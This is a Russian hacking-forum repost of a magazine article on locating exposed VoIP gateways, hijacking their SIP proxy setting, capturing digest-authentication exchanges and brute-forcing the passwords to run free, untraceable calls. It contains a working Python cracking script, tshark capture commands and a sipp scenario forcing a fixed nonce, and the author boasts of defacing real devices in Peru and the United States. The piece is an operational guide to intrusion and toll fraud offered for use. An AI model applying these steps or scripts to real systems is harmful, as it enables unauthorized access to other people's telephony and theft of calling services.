1. На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.
Скрыть объявление
Привет, Незнакомец! У тебя есть возможность Оставить комментарий в теме

Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы

Тема в разделе "H4X S0FTW4RE", создана пользователем ddd, 12 июл 2011.

  1. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.899
    Симпатии:
    191
    ICQ:
    943084
    Взято с ксакепа


    Сегодня мы будем развивать интересное умение — поиск шлюзов IP-телефонии и их эксплуатацию. Так, чисто из любопытства. Вполне вероятно в результате мы получим полноценный плацдарм для наших хакерских опытов и, конечно же, безлимитный телефон.

    С чего все начиналось
    На тему астерисков и подбора паролей к ним написано очень много статей. Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-железки, как то: Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). У Linksys по умолчанию нет пароля на web-интерфейсе. А зря, ведь многие их железки могут быть доступны извне.

    Осваиваемся
    Переходим к практике. Просканировав пару подсетей, я нашел VoIP-телефон SPA-841. Судя по IP-адресу, он находится в Перу, а конкретнее — в городе Лима. Я зашел на этот телефон, и оказалось, что внутри не выставлен ни пользовательский пароль, ни админский, а значит, с VoIP-телефоном можно делать что угодно. На телефонах Cisco-500 во вкладке "Voice -> Phone" существует поле "Text Logo". И его довольно легко поменять. Например, на ряде штатовских шлюзов я проставил фразу "from Russia with Love" и она отображалась на дисплее VoIP-телефона :). Как правило, после этого у железки сразу же менялся IP (либо на web все-таки ставили пароль), и у меня пропадал к ней доступ. Но было и такое, что заставка провисела на телефоне две недели, хотя вызовы совершались каждый рабочий день. В среде администрирования можно сменить параметры интернет-соединения, тогда шлюз совсем перестанет работать. Можно его запаролить, переименовать любые контакты... В общем, на что хватит фантазии. Но это все ребячество. Как же из такой находки получить реальную пользу? Через web, например, я вижу, где регистрируется шлюз, какой у него username и auth id (если есть), но не знаю пароль. Первым делом проверяю, не используется ли пароль, равный логину. Это можно сделать, вбив данные в сип-клиент. Обычно отображается ошибка 403 (пароль не подходит), однако даже в этом случае еще не все потеряно.

    SIP-регистрация
    Рассмотрим, как происходит процесс SIP-регистрации. Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". В присланном сообщении сгенерированы nonce и realm. Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. Если они верные, то возвращает 200 ОК, если нет — снова 401. Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. Затем применяем настройки.

    Простейший пир из /etc/sip.conf:
    Код:
    [peru]
    type=friend
    username=*username со шлюза*
    secret=helloworld
    host=dynamic
    disallow=all
    allow=alaw
    allow=ulaw
    
    Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap. Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, что перезагрузка шлюза привлечет чье-то внимание. После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. Затем я возвращаю прежнее значение Proxy и снова применяю настройки.

    Подбор пароля
    Далее я открываю дамп (например, при помощи Wireshark). Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля. Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов. Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне. В нем мне нужно перебирать весь алфавит. Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний). А также задать длину пароля, начальное и конечное его значения.
    [​IMG]
    Запрос на регистрацию в Wireshark

    Код:
    #!/usr/bin/python
    import md5 # подключаем библиотеку, которая будет генерить md5-хэш
    # дальше идет класс для подбора пароля
    EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    # перечисление алфавитов
    en = "abcdefghijklmnopqrstuvwxyz"
    digits = "1234567890"
    space = " "
    p = ",.-!?;:'\"/()"
    op = "+-*/:^()><="
    all_spec = "'~!@#$%^&*-_=+\\|/?.>,>'\";:[]{}"
    class ABCIterator:
    # ... здесь следует класс, спертый из интернета :)
    # ...
    # класс закончился, переходим к вводу данных
    u=(raw_input('username >> '));
    b=(raw_input('realm >> '));
    m=(raw_input('method >> '));
    
    d = (raw_input('digestURI >> '));
    r = (raw_input('response >> '));
    n = (raw_input('nonce >> '));
    print u,b,m,d,r,n;
    ha2= md5.new(m+":"+d).hexdigest();
    # генерим часть ha2 — она будет использоваться для хэширования
    response=0;
    ch=0; # в эту переменную будет сохраняться
    # порядковый номер пароля
    for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
        # указываем, что длина пароля начинается с 1,
        # заканчивается на 8, # и при переборе используются
        # цифры и буквы нижнего регистра
        ch = ch+1;
        if ch % 500000 == 0: print i;
        # это позволяет выводить на экран только каждый 500000-ый
        # вариант пароля
        ha1 = md5.new(u+":"+b+":"+i).hexdigest();
        response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем
        if r == response: # сравниваем хэш с полученным от шлюза
            print "------------------>", i;
            # если они совпадают, выводит пароль и прекращаем поиск
            exit(0);
    
    Пароль найден
    Итак, скрипт отработал и подобрал пароль, а значит — можно прописывать данные в астериск и думать, что регистрация прошла успешно. Новый халявный транк для звонков на Кубу готов :). Вообще технологию можно доработать, ведь каждый раз перебирать пароль нецелесообразно. Имея доступ на шлюз, можно менять не только значение Proxy, но и username. Если найденные шлюзы регистрировать всегда на одном и том же сервере, то realm всегда будет asterisk, а digesturi — не меняется. Это значит, что достаточно научиться всегда отправлять в ответ на REGISTER сообщение 401 с постоянным nonce. Тогда можно составлять свою таблицу с хэшами паролей, так как все параметры от шлюза к шлюзу будут одинаковые (кроме пароля). Нужно перебирать все возможные пароли с постоянными realm, digesturi, username, метод — REGISTER, nonce и сохранять в базу соответствие "пароль-response", причем для каждого нового шлюза только делать выборку по response и сразу находить пароль. Затем генерить в ответ на регистрацию пакет 401 с одним и тем же nonce (это может программа sipp). Если составить такую базу данных, то можно открывать сервис по восстановлению забытых на шлюзах паролей для регистрации, вот только база получится слишком объемной :). Чтобы отвечать на REGISTER шлюза в sipp, надо использовать сценарий.
    Cценарий для sipp — nonce.xml:
    Код:
    <?xml version="1.0" encoding="ISO-8859-1" ?>
    <scenario name="register">
        <recv request="REGISTER"/>
        <send>
            <![CDATA[SIP/2.0  401 Unauthorized Via: SIP/2.0/UDP [local_ip]:5060;  branch=[branch];received=[remote_ip] From: *username со шлюза*  <sip:*username со шлюза*@*ip c Asterisk*> To: *username со шлюза*  <sip:*username со шлюза*@*ip c Asterisk*> Call-ID: [call_id] CSeq:  [cseq] REGISTER Server: Asterisk PBX 1.6.2.13 Allow: INVITE, ACK,  CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Supported:  replaces, timer WWW-Authenticate: Digest algorithm=MD5,  realm="asterisk", nonce="17852b0a" Content-Length: [len] ]]>
        </send>
    </scenario>
    
    Благодаря опции <recv request="REGISTER"/> sipp отправит наш "магический" пакет только когда придет запрос на регистрацию. Останавливаем астериск, чтобы он не отвечал на запросы со шлюза, затем создаем сценарий и из этой же папки запускаем sipp:

    Код:
    sipp -sf nonce.xml *ip шлюза* -i *ip c Asterisk* -trace_msg -l 10 -r 1 -rp 1000
    Запускаем tshark с записью в файл и пробуем зарегистрировать шлюз. Открываем дамп и снова видим все данные, которые требуются для перебора.
    Добытые данные можно использовать для подложной регистрации на сервере, даже не подбирая пароль, но это уже тема для другой статьи. Вот такой незамысловатый способ обеспечить себя бесплатными звонками, если повезет — то в любую точку мира, а если сильно повезет (или если использовать меры предосторожности), то еще и никогда не поймают :).